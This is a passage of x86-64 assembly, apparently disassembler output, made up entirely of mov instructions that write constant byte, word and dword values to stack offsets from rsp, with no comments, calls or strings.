mov dword [rsp + 0x6820], 0x232f058c
mov byte [rsp + 0x294], 0x2b
mov dword [rsp + 0x6824], 0x69074b9a
mov dword [rsp + 0x6828], 0x661c5e6d
mov dword [rsp + 0x682c], 0xbe77
mov byte [rsp + 0x295], 0x54
mov dword [rsp + 0x6830], 0x48f8ea6f
mov eax, 0xf2f
mov word [rsp + 0x1920], ax
mov dword [rsp + 0x6834], 0xecbe
mov dword [rsp + 0x6838], 0x4a07d5fc
mov byte [rsp + 0x296], 0x75
mov eax, 0x8fb
mov word [rsp + 0x1924], ax
mov dword [rsp + 0x683c], 0x781d
mov dword [rsp + 0x6840], 0x296736cd
mov dword [rsp + 0x6844], 0xa056
mov dword [rsp + 0x6848], 0x5551bd15
mov dword [rsp + 0x684c], 0xf246
mov dword [rsp + 0x6850], 0xf251
mov dword [rsp + 0x6854], 0x4b7698f
mov eax, 0x8f3
mov word [rsp + 0x1928], ax
mov eax, 0xf89
mov word [rsp + 0x192c], ax
mov eax, 0x493
mov word [rsp + 0x1930], ax
mov eax, 0x79b
mov word [rsp + 0x1934], ax
mov byte [rsp + 0x297], 0x75
mov byte [rsp + 0x298], 0x5a
mov dword [rsp + 0x6858], 0x2e4ffb93
mov dword [rsp + 0x685c], 0x6098ea1
mov dword [rsp + 0x6860], 0x5c1c6d53
mov dword [rsp + 0x6864], 0x2e0ed179
mov byte [rsp + 0x299], 0x44
mov dword [rsp + 0x6868], 0x55a9807f
mov dword [rsp + 0x686c], 0xbc55
mov byte [rsp + 0x29a], 0x1d
mov eax, 0x7cc
mov word [rsp + 0x1938], ax
mov byte [rsp + 0x29b], 0x2b
mov dword [rsp + 0x6870], 0x26839763
mov dword [rsp + 0x6874], 0xdfcf
mov eax, 0x757
mov word [rsp + 0x193c], ax
mov byte [rsp + 0x29c], 0xa5
mov byte [rsp + 0x29d], 0x5d
mov dword [rsp + 0x6878], 0x5a2d406b
mov dword [rsp + 0x687c], 0x263e
mov eax, 0x99c
mov word [rsp + 0x1940], ax
mov dword [rsp + 0x6880], 0x65527b89
mov dword [rsp + 0x6884], 0x637f7171
mov dword [rsp + 0x6888], 0x7e5a7f26
mov byte [rsp + 0x29e], 0x89
mov dword [rsp + 0x688c], 0xabfe
mov eax, 0x7f7
mov word [rsp + 0x1944], ax
mov eax, 0x1aa
mov word [rsp + 0x1948], ax
mov eax, 0xa7b
mov word [rsp + 0x194c], ax
mov dword [rsp + 0x6890], 0x26b9ed3b
mov byte [rsp + 0x29f], 0x22
mov dword [rsp + 0x6894], 0x650b5000
mov dword [rsp + 0x6898], 0x517796be
mov dword [rsp + 0x689c], 0x652b004f
mov eax, 0x40b
mov word [rsp + 0x1950], ax
mov dword [rsp + 0x68a0], 0x225e6e8d
mov dword [rsp + 0x68a4], 0xa2fba52
mov dword [rsp + 0x68a8], 0xc28f
mov dword [rsp + 0x68ac], 0x39c9eab3
mov dword [rsp + 0x68b0], 0x48f4
mov dword [rsp + 0x68b4], 0x2177
mov dword [rsp + 0x68b8], 0xfef1
mov dword [rsp + 0x68bc], 0x47370d1c
mov dword [rsp + 0x68c0], 0x777f4e84
mov dword [rsp + 0x68c4], 0x3ee6ed26
mov byte [rsp + 0x2a0], 0x50
mov dword [rsp + 0x68c8], 0x14069716
mov byte [rsp + 0x2a1], 0xf4
mov dword [rsp + 0x68cc], 0x152cde1a
mov byte [rsp + 0x2a2], 0xe8
mov dword [rsp + 0x68d0], 0x18ed981e
mov eax, 0x437
mov word [rsp + 0x1954], ax
mov eax, 0xb43
mov word [rsp + 0x1958], ax
mov dword [rsp + 0x68d4], 0xd910
mov dword [rsp + 0x68d8], 0x45e81590
mov dword [rsp + 0x68dc], 0x166a1e11
mov byte [rsp + 0x2a3], 0x65
mov byte [rsp + 0x2a4], 0x40
mov dword [rsp + 0x68e0], 0xbe8e
mov dword [rsp + 0x68e4], 0xd567
mov eax, 0x5bc
mov word [rsp + 0x195c], ax
mov eax, 0x77a
mov word [rsp + 0x1960], ax
mov byte [rsp + 0x2a5], 0xbd
mov dword [rsp + 0x68e8], 0xc9e48f8
mov dword [rsp + 0x68ec], 0x24ef
mov dword [rsp + 0x68f0], 0x73043ad3
mov dword [rsp + 0x68f4], 0xd18f
mov dword [rsp + 0x68f8], 0x1477
mov dword [rsp + 0x68fc], 0x49d841fe
mov dword [rsp + 0x6900], 0xd3df
mov byte [rsp + 0x2a6], 0xb7
mov dword [rsp + 0x6904], 0x9c29
mov byte [rsp + 0x2a7], 0xe7
mov byte [rsp + 0x2a8], 0x95
mov eax, 0xdd5
mov word [rsp + 0x1964], ax
mov dword [rsp + 0x6908], 0xc344
mov dword [rsp + 0x690c], 0x234e1b48
mov dword [rsp + 0x6910], 0x2f4
mov eax, 0xb9a
mov word [rsp + 0x1968], ax
mov eax, 0x672
mov word [rsp + 0x196c], ax
mov dword [rsp + 0x6914], 0xcf38
mov dword [rsp + 0x6918], 0x2ac54b4b
mov eax, 0x599
mov word [rsp + 0x1970], ax
mov dword [rsp + 0x691c], 0x27268949
mov dword [rsp + 0x6920], 0x43d98849
mov eax, 0x4c1
mov word [rsp + 0x1974], ax
mov dword [rsp + 0x6924], 0x3a2af2b8
mov eax, 0x12c
mov word [rsp + 0x1978], ax
mov dword [rsp + 0x6928], 0x3f79b7e0
mov eax, 0xa86
mov word [rsp + 0x197c], ax
mov dword [rsp + 0x692c], 0x5514b571
mov dword [rsp + 0x6930], 0x4f11dca9
mov eax, 0xa95
mov word [rsp + 0x1980], ax
mov eax, 0xacd
mov word [rsp + 0x1984], ax
mov byte [rsp + 0x2a9], 0x5c
mov dword [rsp + 0x6934], 0x3de8
mov byte [rsp + 0x2aa], 0x2c
mov eax, 0x492
mov word [rsp + 0x1988], ax
mov eax, 0x3a4
mov word [rsp + 0x198c], ax
mov eax, 0xf4a
mov word [rsp + 0x1990], ax
mov dword [rsp + 0x6938], 0x2c65
mov byte [rsp + 0x2ab], 0x46
mov byte [rsp + 0x2ac], 0xc6
mov byte [rsp + 0x2ad], 0xc4
mov eax, 0x561
mov word [rsp + 0x1994], ax
mov eax, 0xbf4
mov word [rsp + 0x1998], ax
mov eax, 0xab8
mov word [rsp + 0x199c], ax
mov dword [rsp + 0x693c], 0x3f096694
mov dword [rsp + 0x6940], 0x6e4f041c
mov dword [rsp + 0x6944], 0x3561f556
mov byte [rsp + 0x2ae], 0xf3
mov byte [rsp + 0x2af], 0xe9
mov byte [rsp + 0x2b0], 0x61
mov byte [rsp + 0x2b1], 0x67
mov eax, 0x5d5
mov word [rsp + 0x19a0], ax
mov dword [rsp + 0x6948], 0x95e2511
mov byte [rsp + 0x2b2], 0xd9
mov eax, 0x6dd
mov word [rsp + 0x19a4], ax
mov dword [rsp + 0x694c], 0x623d74e7
mov dword [rsp + 0x6950], 0x4bec
mov dword [rsp + 0x6954], 0x6c761d52
mov dword [rsp + 0x6958], 0x9e05a10
mov eax, 0xd01
mov word [rsp + 0x19a8], ax
mov byte [rsp + 0x2b3], 0xc4
mov dword [rsp + 0x695c], 0x629e
mov dword [rsp + 0x6960], 0x6cd6a59a
mov byte [rsp + 0x2b4], 4
mov dword [rsp + 0x6964], 0x71ce4c93
mov dword [rsp + 0x6968], 0x35b9e2bf
mov dword [rsp + 0x696c], 0x96fd
mov byte [rsp + 0x2b5], 0x2f
mov dword [rsp + 0x6970], 0x16b87472
mov dword [rsp + 0x6974], 0x371bfb66
mov byte [rsp + 0x2b6], 0x6e
mov byte [rsp + 0x2b7], 0xe5
mov eax, 0x461
mov word [rsp + 0x19ac], ax
mov eax, 0xb1e
mov word [rsp + 0x19b0], ax
mov byte [rsp + 0x2b8], 0x7e
mov dword [rsp + 0x6978], 0xebc7
mov byte [rsp + 0x2b9], 0x8d
mov byte [rsp + 0x2ba], 0x5e
mov dword [rsp + 0x697c], 0xc756
mov dword [rsp + 0x6980], 0x6c96d882
mov dword [rsp + 0x6984], 0x1a2bd8fe
mov dword [rsp + 0x6988], 0x6492
mov eax, 0xb53
mov word [rsp + 0x19b4], ax
mov byte [rsp + 0x2bb], 0xd0
mov byte [rsp + 0x2bc], 0xb2
mov dword [rsp + 0x698c], 0xcf3debb
mov dword [rsp + 0x6990], 0x3700a423
mov dword [rsp + 0x6994], 0x30a587bc
mov byte [rsp + 0x2bd], 0x1b
mov byte [rsp + 0x2be], 0x54
mov eax, 0x8ae
mov word [rsp + 0x19b8], ax
mov eax, 0xda1
mov word [rsp + 0x19bc], ax
mov dword [rsp + 0x6998], 0x2b4b0c48
mov eax, 0x8b
mov word [rsp + 0x19c0], ax
mov dword [rsp + 0x699c], 0x64fb286b
mov dword [rsp + 0x69a0], 0x1b1d
mov dword [rsp + 0x69a4], 0x100ec63c
mov dword [rsp + 0x69a8], 0x62585766
mov byte [rsp + 0x2bf], 0x5c
mov eax, 0xa8f
mov word [rsp + 0x19c4], ax
mov dword [rsp + 0x69ac], 0x236174c6
mov dword [rsp + 0x69b0], 0xda5fd97
mov eax, 0xd8c
mov word [rsp + 0x19c8], ax
mov byte [rsp + 0x2c0], 0xe9
mov byte [rsp + 0x2c1], 0xae
mov eax, 0x629
mov word [rsp + 0x19cc], ax
mov dword [rsp + 0x69b4], 0x45001888
mov dword [rsp + 0x69b8], 0x65a0c33a
mov dword [rsp + 0x69bc], 0x1886
mov eax, 0x644
mov word [rsp + 0x19d0], ax
mov dword [rsp + 0x69c0], 0xabd4
mov byte [rsp + 0x2c2], 5
mov eax, 0x245
mov word [rsp + 0x19d4], ax
mov dword [rsp + 0x69c4], 0x1f6564db
mov byte [rsp + 0x2c3], 0x74
mov dword [rsp + 0x69c8], 0x283c
mov eax, 0xc85
mov word [rsp + 0x19d8], ax
mov eax, 0xe
mov word [rsp + 0x19dc], ax
mov eax, 0xa59
mov word [rsp + 0x19e0], ax
mov dword [rsp + 0x69cc], 0x96c4
mov byte [rsp + 0x2c4], 0x76
mov dword [rsp + 0x69d0], 0x36828d9a
mov dword [rsp + 0x69d4], 0x7afebf86
mov eax, 0x4e3
mov word [rsp + 0x19e4], ax
mov dword [rsp + 0x69d8], 0xea1d
mov dword [rsp + 0x69dc], 0x499dcc9c
mov eax, 0x180
mov word [rsp + 0x19e8], ax
mov dword [rsp + 0x69e0], 0x2c79
mov byte [rsp + 0x2c5], 0x28
mov byte [rsp + 0x2c6], 0xe1
mov dword [rsp + 0x69e4], 0x6b8c413d
mov dword [rsp + 0x69e8], 0xc625
mov dword [rsp + 0x69ec], 0x9a13
mov eax, 0x689
mov word [rsp + 0x19ec], ax
mov dword [rsp + 0x69f0], 0xf95b
mov dword [rsp + 0x69f4], 0x236b8e1
mov dword [rsp + 0x69f8], 0x5e6e4235
mov dword [rsp + 0x69fc], 0x1c825a23
mov dword [rsp + 0x6a00], 0xdf9e
mov eax, 0x9a3
mov word [rsp + 0x19f0], ax
mov dword [rsp + 0x6a04], 0x21f7327
mov eax, 0xa78
mov word [rsp + 0x19f4], ax
mov dword [rsp + 0x6a08], 0x40039f65
mov eax, 0xaaa
mov word [rsp + 0x19f8], ax
mov byte [rsp + 0x2c7], 0x6c
mov dword [rsp + 0x6a0c], 0x37b1f5de
mov byte [rsp + 0x2c8], 0xb5
mov dword [rsp + 0x6a10], 0x39f4267c
mov eax, 0x227
mov word [rsp + 0x19fc], ax
mov dword [rsp + 0x6a14], 0x2524
mov dword [rsp + 0x6a18], 0xf5d0
mov dword [rsp + 0x6a1c], 0x8c27
mov byte [rsp + 0x2c9], 0x1d
mov eax, 0xad5
mov word [rsp + 0x1a00], ax
mov byte [rsp + 0x2ca], 0x6a
mov dword [rsp + 0x6a20], 0x7d50
mov dword [rsp + 0x6a24], 0x2277
mov dword [rsp + 0x6a28], 0x35cb668e
mov eax, 0x19a
mov word [rsp + 0x1a04], ax
mov byte [rsp + 0x2cb], 0xa8
mov byte [rsp + 0x2cc], 0xa0
mov dword [rsp + 0x6a2c], 0x41fb61a9
mov dword [rsp + 0x6a30], 0x7e793fc2
mov byte [rsp + 0x2cd], 0xf8
mov dword [rsp + 0x6a34], 0x747173a9
mov dword [rsp + 0x6a38], 0x2b7df89e
mov dword [rsp + 0x6a3c], 0x5956
mov eax, 0x47f
mov word [rsp + 0x1a08], ax
mov dword [rsp + 0x6a40], 0x1b9caf72
mov dword [rsp + 0x6a44], 0x7009
mov byte [rsp + 0x2ce], 0x42
mov dword [rsp + 0x6a48], 0x7421f43d
mov dword [rsp + 0x6a4c], 0x6d9727dc
mov eax, 0xa49
mov word [rsp + 0x1a0c], ax
mov eax, 0x6f8
mov word [rsp + 0x1a10], ax
mov dword [rsp + 0x6a50], 0xea73
mov dword [rsp + 0x6a54], 0x766d98a3
mov eax, 0x798
mov word [rsp + 0x1a14], ax
mov dword [rsp + 0x6a58], 0xe624
mov dword [rsp + 0x6a5c], 0x453de717
mov dword [rsp + 0x6a60], 0xb3bea70
mov byte [rsp + 0x2cf], 0xe6
mov dword [rsp + 0x6a64], 0x367d75d
mov dword [rsp + 0x6a68], 0xbb26
mov eax, 0x1c5
mov word [rsp + 0x1a18], ax
mov byte [rsp + 0x2d0], 0xd5
mov dword [rsp + 0x6a6c], 0x1ea72c83
mov eax, 0x2f2
mov word [rsp + 0x1a1c], ax
mov byte [rsp + 0x2d1], 0xb
mov dword [rsp + 0x6a70], 0x7a84399f
mov byte [rsp + 0x2d2], 0x51
mov eax, 0xb0b
mov word [rsp + 0x1a20], ax
mov dword [rsp + 0x6a74], 0x7b6a
mov byte [rsp + 0x2d3], 0x1c
mov dword [rsp + 0x6a78], 0x9f87
mov dword [rsp + 0x6a7c], 0x251c
mov dword [rsp + 0x6a80], 0x556a558c
mov dword [rsp + 0x6a84], 0x35c44aaa
mov dword [rsp + 0x6a88], 0x282b
mov eax, 0x41
mov word [rsp + 0x1a24], ax
mov byte [rsp + 0x2d4], 0x7b
mov dword [rsp + 0x6a8c], 0x24d7
mov dword [rsp + 0x6a90], 0x6b4
mov dword [rsp + 0x6a94], 0x6d4cb95b
mov dword [rsp + 0x6a98], 0xfd92
mov byte [rsp + 0x2d5], 0x5e
mov byte [rsp + 0x2d6], 0xf9
mov eax, 0x234
mov word [rsp + 0x1a28], ax
mov eax, 0x73
mov word [rsp + 0x1a2c], ax
mov eax, 0x6fd
mov word [rsp + 0x1a30], ax
mov byte [rsp + 0x2d7], 0xf0
mov dword [rsp + 0x6a9c], 0x84b0
mov eax, 0x4fa
mov word [rsp + 0x1a34], ax
mov dword [rsp + 0x6aa0], 0x37bb0408
mov dword [rsp + 0x6aa4], 0x2199cd67
mov dword [rsp + 0x6aa8], 0xdebd
mov dword [rsp + 0x6aac], 0xaa05
mov byte [rsp + 0x2d8], 0
mov eax, 0x5ce
mov word [rsp + 0x1a38], ax
mov dword [rsp + 0x6ab0], 0x5f1df06c
mov byte [rsp + 0x2d9], 0x33
mov eax, 0x37f
mov word [rsp + 0x1a3c], ax
mov byte [rsp + 0x2da], 0x7f
mov dword [rsp + 0x6ab4], 0x8c75
mov dword [rsp + 0x6ab8], 0x2dcb4c25
mov dword [rsp + 0x6abc], 0xa2e724e
mov byte [rsp + 0x2db], 0x65
mov byte [rsp + 0x2dc], 0x13
mov byte [rsp + 0x2dd], 0x97
mov dword [rsp + 0x6ac0], 0x5fe66bf9
mov dword [rsp + 0x6ac4], 0x9be5
mov byte [rsp + 0x2de], 0x14
mov eax, 0xb61
mov word [rsp + 0x1a40], ax
mov dword [rsp + 0x6ac8], 0x53a5b800
mov eax, 0xf7a
mov word [rsp + 0x1a44], ax
mov eax, 0x795
mov word [rsp + 0x1a48], ax
mov dword [rsp + 0x6acc], 0x49e01e7d
mov dword [rsp + 0x6ad0], 0x2149
mov byte [rsp + 0x2df], 0xab
mov eax, 0x758
mov word [rsp + 0x1a4c], ax
mov eax, 0x42c
mov word [rsp + 0x1a50], ax
mov dword [rsp + 0x6ad4], 0x4ed64965
mov dword [rsp + 0x6ad8], 0x27a4ed43
mov dword [rsp + 0x6adc], 0x37884a45
mov dword [rsp + 0x6ae0], 0x6c61fa56
mov dword [rsp + 0x6ae4], 0x67ee376a
mov byte [rsp + 0x2e0], 0xe3
mov dword [rsp + 0x6ae8], 0x620b4a45
mov dword [rsp + 0x6aec], 0xf93f
mov dword [rsp + 0x6af0], 0x7b24
mov byte [rsp + 0x2e1], 0x5c
mov dword [rsp + 0x6af4], 0x1fa74fef
mov dword [rsp + 0x6af8], 0x27135330
mov byte [rsp + 0x2e2], 5
mov eax, 0xb25
mov word [rsp + 0x1a54], ax
mov dword [rsp + 0x6afc], 0x1d60
mov dword [rsp + 0x6b00], 0x71fc9d1f
mov dword [rsp + 0x6b04], 0x10ac
mov dword [rsp + 0x6b08], 0x1b37850d
mov eax, 0x733
mov word [rsp + 0x1a58], ax
mov eax, 0xd48
mov word [rsp + 0x1a5c], ax
mov dword [rsp + 0x6b0c], 0x26d9
mov eax, 0x48a
mov word [rsp + 0x1a60], ax
mov dword [rsp + 0x6b10], 0x2afeb2d9
mov dword [rsp + 0x6b14], 0xa1be
mov dword [rsp + 0x6b18], 0x29425446
mov byte [rsp + 0x2e3], 0x5c
mov eax, 0x24f
mov word [rsp + 0x1a64], ax
mov dword [rsp + 0x6b1c], 0x1241
mov dword [rsp + 0x6b20], 0x2403e53e
mov dword [rsp + 0x6b24], 0x4b70262d
mov byte [rsp + 0x2e4], 0x1e
mov dword [rsp + 0x6b28], 0x4d36
mov eax, 0x618
mov word [rsp + 0x1a68], ax
mov dword [rsp + 0x6b2c], 0xd830
mov dword [rsp + 0x6b30], 0x3d8adeaa
mov dword [rsp + 0x6b34], 0x21320487
mov dword [rsp + 0x6b38], 0x6b4f2199
mov dword [rsp + 0x6b3c], 0x61c700de
mov eax, 0x795
mov word [rsp + 0x1a6c], ax
mov dword [rsp + 0x6b40], 0xaab0
mov eax, 0x5c2
mov word [rsp + 0x1a70], ax
mov dword [rsp + 0x6b44], 0x6748695d
mov dword [rsp + 0x6b48], 0x2797c741
mov dword [rsp + 0x6b4c], 0x257303d2
mov dword [rsp + 0x6b50], 0x27462904
mov dword [rsp + 0x6b54], 0x8077984
mov byte [rsp + 0x2e5], 0xe4
mov dword [rsp + 0x6b58], 0x73246113
mov dword [rsp + 0x6b5c], 0x58668a0e
mov dword [rsp + 0x6b60], 0x65e
mov dword [rsp + 0x6b64], 0x3e6c
mov byte [rsp + 0x2e6], 9
mov dword [rsp + 0x6b68], 0x6a325798
mov dword [rsp + 0x6b6c], 0x7f47e79c
mov dword [rsp + 0x6b70], 0x104f
mov dword [rsp + 0x6b74], 0x5ef3c8ce
mov byte [rsp + 0x2e7], 0x59
mov dword [rsp + 0x6b78], 0x3cbc7a6b
mov dword [rsp + 0x6b7c], 0xec3a
mov dword [rsp + 0x6b80], 0x230c
mov byte [rsp + 0x2e8], 0x51
mov dword [rsp + 0x6b84], 0x19b6df08
mov eax, 0x54d
mov word [rsp + 0x1a74], ax
mov byte [rsp + 0x2e9], 0xc9
mov byte [rsp + 0x2ea], 0x5a
mov dword [rsp + 0x6b88], 0x1ea8da0b
mov byte [rsp + 0x2eb], 0x5d
mov byte [rsp + 0x2ec], 0x7f
mov eax, 0xeb4
mov word [rsp + 0x1a78], ax
mov eax, 0xa7a
mov word [rsp + 0x1a7c], ax
mov eax, 0x8f2
mov word [rsp + 0x1a80], ax
mov dword [rsp + 0x6b8c], 0xd6b70ed
mov dword [rsp + 0x6b90], 0x24e19a37
mov byte [rsp + 0x2ed], 0x56
mov eax, 0x679
mov word [rsp + 0x1a84], ax
mov eax, 0x76e
mov word [rsp + 0x1a88], ax
mov dword [rsp + 0x6b94], 0x3a0ff47e
mov dword [rsp + 0x6b98], 0x609f
mov dword [rsp + 0x6b9c], 0x1a92ae80
mov dword [rsp + 0x6ba0], 0x79c5fbc3
mov byte [rsp + 0x2ee], 0xe0
mov byte [rsp + 0x2ef], 1
mov byte [rsp + 0x2f0], 0x3a
mov eax, 0x52b
mov word [rsp + 0x1a8c], ax
mov dword [rsp + 0x6ba4], 0x19e83b7
mov eax, 0x934
mov word [rsp + 0x1a90], ax
mov eax, 0xe43
mov word [rsp + 0x1a94], ax
mov eax, 0x72
mov word [rsp + 0x1a98], ax
mov eax, 0x7e
mov word [rsp + 0x1a9c], ax
mov dword [rsp + 0x6ba8], 0x3bc8aa5a
mov dword [rsp + 0x6bac], 0x1810a489
mov dword [rsp + 0x6bb0], 0x1a64e082
mov dword [rsp + 0x6bb4], 0x3ac36e71
mov dword [rsp + 0x6bb8], 0x7d30fe30
mov dword [rsp + 0x6bbc], 0x797b833d
mov dword [rsp + 0x6bc0], 0x18cbd62
mov dword [rsp + 0x6bc4], 0x2f3bf464
mov eax, 0x2c3
mov word [rsp + 0x1aa0], ax
mov eax, 0xa6
mov word [rsp + 0x1aa4], ax
mov dword [rsp + 0x6bc8], 0x5d7a5576
mov eax, 0xcb6
mov word [rsp + 0x1aa8], ax
mov eax, 0x286
mov word [rsp + 0x1aac], ax
mov dword [rsp + 0x6bcc], 0x62932cc7
mov byte [rsp + 0x2f1], 0x7c
mov dword [rsp + 0x6bd0], 0x2001
mov byte [rsp + 0x2f2], 0x2f
mov dword [rsp + 0x6bd4], 0x12ed9559
mov byte [rsp + 0x2f3], 0x99
mov eax, 0x855
mov word [rsp + 0x1ab0], ax
mov dword [rsp + 0x6bd8], 0x6336b6d8
mov dword [rsp + 0x6bdc], 0x2ad01a82
mov eax, 0x6c7
mov word [rsp + 0x1ab4], ax
mov byte [rsp + 0x2f4], 0x81
mov byte [rsp + 0x2f5], 0xc1
mov eax, 0xfca
mov word [rsp + 0x1ab8], ax
mov dword [rsp + 0x6be0], 0x2da58d23
mov dword [rsp + 0x6be4], 0x44ae
mov dword [rsp + 0x6be8], 0x5876f764
mov dword [rsp + 0x6bec], 0x6d0a304f
mov byte [rsp + 0x2f6], 0x41
mov byte [rsp + 0x2f7], 0x52
mov eax, 0x51f
mov word [rsp + 0x1abc], ax
mov byte [rsp + 0x2f8], 0x8f
mov dword [rsp + 0x6bf0], 0x914976
mov byte [rsp + 0x2f9], 0x15
mov byte [rsp + 0x2fa], 0x20
mov eax, 0xd2a
mov word [rsp + 0x1ac0], ax
mov byte [rsp + 0x2fb], 2
mov dword [rsp + 0x6bf4], 0xce8
mov eax, 0xeca
mov word [rsp + 0x1ac4], ax
mov dword [rsp + 0x6bf8], 0x7b691a74
mov dword [rsp + 0x6bfc], 0xb45a
mov dword [rsp + 0x6c00], 0x5b0568d9
mov eax, 0x2bd
mov word [rsp + 0x1ac8], ax
mov dword [rsp + 0x6c04], 0x1d555a9a
mov dword [rsp + 0x6c08], 0x45b8
mov byte [rsp + 0x2fc], 0x2b
mov dword [rsp + 0x6c0c], 0x1b22eea6
mov byte [rsp + 0x2fd], 0xa6
mov dword [rsp + 0x6c10], 0x3678b032
mov eax, 0x55b
mov word [rsp + 0x1acc], ax
mov byte [rsp + 0x2fe], 0xd1
mov dword [rsp + 0x6c14], 0x850f
mov dword [rsp + 0x6c18], 0x37254269
mov eax, 0xfa4
mov word [rsp + 0x1ad0], ax
mov dword [rsp + 0x6c1c], 0x7365ff6
mov eax, 0x4c9
mov word [rsp + 0x1ad4], ax
mov dword [rsp + 0x6c20], 0x76cb
mov byte [rsp + 0x2ff], 0x3b
mov byte [rsp + 0x300], 0x88
mov dword [rsp + 0x6c24], 0xe06abb5
mov dword [rsp + 0x6c28], 0x26a6ed3e
mov dword [rsp + 0x6c2c], 0x2696c829
mov dword [rsp + 0x6c30], 0xddd3
mov byte [rsp + 0x301], 0x63
mov dword [rsp + 0x6c34], 0x6f5cbba5
mov dword [rsp + 0x6c38], 0x3622
mov dword [rsp + 0x6c3c], 0x59a7db95
mov dword [rsp + 0x6c40], 0x2961595c
mov eax, 0xc8b
mov word [rsp + 0x1ad8], ax
mov dword [rsp + 0x6c44], 0x7efa
mov dword [rsp + 0x6c48], 0x564a9987
mov byte [rsp + 0x302], 0x2a
mov eax, 0x207
mov word [rsp + 0x1adc], ax
mov dword [rsp + 0x6c4c], 0x1856a42a
mov eax, 0x536
mov word [rsp + 0x1ae0], ax
mov dword [rsp + 0x6c50], 0xd988
mov dword [rsp + 0x6c54], 0x321d843
mov dword [rsp + 0x6c58], 0xa78d
mov dword [rsp + 0x6c5c], 0xf362
mov dword [rsp + 0x6c60], 0x9046
mov dword [rsp + 0x6c64], 0x301f0b2b
mov eax, 0x780
mov word [rsp + 0x1ae4], ax
mov eax, 0xdba
mov word [rsp + 0x1ae8], ax
mov dword [rsp + 0x6c68], 0x9e18
mov dword [rsp + 0x6c6c], 0x361c498
mov byte [rsp + 0x303], 0x41
mov eax, 0x44f
mov word [rsp + 0x1aec], ax
mov dword [rsp + 0x6c70], 0x53f5c97b
mov dword [rsp + 0x6c74], 0x863d
mov dword [rsp + 0x6c78], 0x6ae05348
mov byte [rsp + 0x304], 0x3c
mov dword [rsp + 0x6c7c], 0x2a36
mov dword [rsp + 0x6c80], 0x6b5fa0e9
mov dword [rsp + 0x6c84], 0x316fc47b
mov dword [rsp + 0x6c88], 0x7481
mov dword [rsp + 0x6c8c], 0x73eb
mov byte [rsp + 0x305], 0x92
mov byte [rsp + 0x306], 0x49
mov byte [rsp + 0x307], 0x4e
mov eax, 0x48b
mov word [rsp + 0x1af0], ax
mov dword [rsp + 0x6c90], 0x2878e184
mov byte [rsp + 0x308], 0xc0
mov eax, 0x973
mov word [rsp + 0x1af4], ax
mov dword [rsp + 0x6c94], 0x7a8038d0
mov eax, 0xf33
mov word [rsp + 0x1af8], ax
mov dword [rsp + 0x6c98], 0x56352dd1
mov dword [rsp + 0x6c9c], 0x657447cb
mov eax, 0x620
mov word [rsp + 0x1afc], ax
mov eax, 0xe34
mov word [rsp + 0x1b00], ax
mov byte [rsp + 0x309], 0x49
mov dword [rsp + 0x6ca0], 0x2e109a81
mov byte [rsp + 0x30a], 0xb7
mov byte [rsp + 0x30b], 0x21
mov dword [rsp + 0x6ca4], 0x8b05
mov dword [rsp + 0x6ca8], 0x167f
mov dword [rsp + 0x6cac], 0x667f24
mov dword [rsp + 0x6cb0], 0x50a20fd0
mov byte [rsp + 0x30c], 0x4f
mov eax, 0xefe
mov word [rsp + 0x1b04], ax
mov byte [rsp + 0x30d], 0xdd
mov eax, 0x227
mov word [rsp + 0x1b08], ax
mov byte [rsp + 0x30e], 0x63
mov dword [rsp + 0x6cb4], 0x6c61c8de
mov byte [rsp + 0x30f], 0x7d
mov dword [rsp + 0x6cb8], 0xe4c8
mov dword [rsp + 0x6cbc], 0x4c6eacc
mov eax, 0x12a
mov word [rsp + 0x1b0c], ax
mov dword [rsp + 0x6cc0], 0x7d10a8e6
mov dword [rsp + 0x6cc4], 0x6c090ea0
mov dword [rsp + 0x6cc8], 0xe707
mov eax, 0xb75
mov word [rsp + 0x1b10], ax
mov dword [rsp + 0x6ccc], 0x14e2
mov byte [rsp + 0x310], 0xbc
mov byte [rsp + 0x311], 0x8d
mov dword [rsp + 0x6cd0], 0x28cf07c9
mov dword [rsp + 0x6cd4], 0x62c26048
mov byte [rsp + 0x312], 0x78
mov dword [rsp + 0x6cd8], 0x16202f94
mov dword [rsp + 0x6cdc], 0x79e0d24b
mov eax, 0xe19
mov word [rsp + 0x1b14], ax
mov dword [rsp + 0x6ce0], 0xee68
mov eax, 0x89a
mov word [rsp + 0x1b18], ax
mov eax, 0xf2c
mov word [rsp + 0x1b1c], ax
mov byte [rsp + 0x313], 0xda
mov dword [rsp + 0x6ce4], 0xff45
mov eax, 0xfed
mov word [rsp + 0x1b20], ax
mov eax, 0x1aa
mov word [rsp + 0x1b24], ax
mov byte [rsp + 0x314], 0x69
mov byte [rsp + 0x315], 0x1a
mov byte [rsp + 0x316], 0x8b
mov byte [rsp + 0x317], 0x4b
mov byte [rsp + 0x318], 0x5c
mov dword [rsp + 0x6ce8], 0xdd
mov dword [rsp + 0x6cec], 0x7b374b99
mov dword [rsp + 0x6cf0], 0x668d
mov dword [rsp + 0x6cf4], 0x5295418e
mov byte [rsp + 0x319], 0x6d
mov byte [rsp + 0x31a], 0x7b
mov byte [rsp + 0x31b], 0x99
mov dword [rsp + 0x6cf8], 0x71c50466
mov byte [rsp + 0x31c], 0x62
mov byte [rsp + 0x31d], 0x45
mov eax, 0xcfe
mov word [rsp + 0x1b28], ax
mov dword [rsp + 0x6cfc], 0x4bb9
mov dword [rsp + 0x6d00], 0x1584096d
mov dword [rsp + 0x6d04], 0x43596795
mov dword [rsp + 0x6d08], 0x1c6395c1
mov dword [rsp + 0x6d0c], 0x26224b82
mov dword [rsp + 0x6d10], 0x2c4e6c75
mov byte [rsp + 0x31e], 0xa9
mov dword [rsp + 0x6d14], 0x168952da
mov eax, 0x7e6
mov word [rsp + 0x1b2c], ax
mov eax, 0x533
mov word [rsp + 0x1b30], ax
mov byte [rsp + 0x31f], 0x3a
mov dword [rsp + 0x6d18], 0x4a7c0b65
mov byte [rsp + 0x320], 0xe
mov dword [rsp + 0x6d1c], 0x424796e3
mov dword [rsp + 0x6d20], 0x183a562c
mov dword [rsp + 0x6d24], 0x3cdeff4e
mov eax, 0x232
mov word [rsp + 0x1b34], ax
mov eax, 0x1e1
mov word [rsp + 0x1b38], ax
mov dword [rsp + 0x6d28], 0x7b994951
mov eax, 0x2be
mov word [rsp + 0x1b3c], ax
mov dword [rsp + 0x6d2c], 0x516a2320
mov byte [rsp + 0x321], 0x1a
mov eax, 0x48e
mov word [rsp + 0x1b40], ax
mov dword [rsp + 0x6d30], 0x563f
mov byte [rsp + 0x322], 0x55
mov dword [rsp + 0x6d34], 0xd02b
mov dword [rsp + 0x6d38], 0x19941062
mov dword [rsp + 0x6d3c], 0x3b8709ea
mov byte [rsp + 0x323], 0x55
mov eax, 0x700
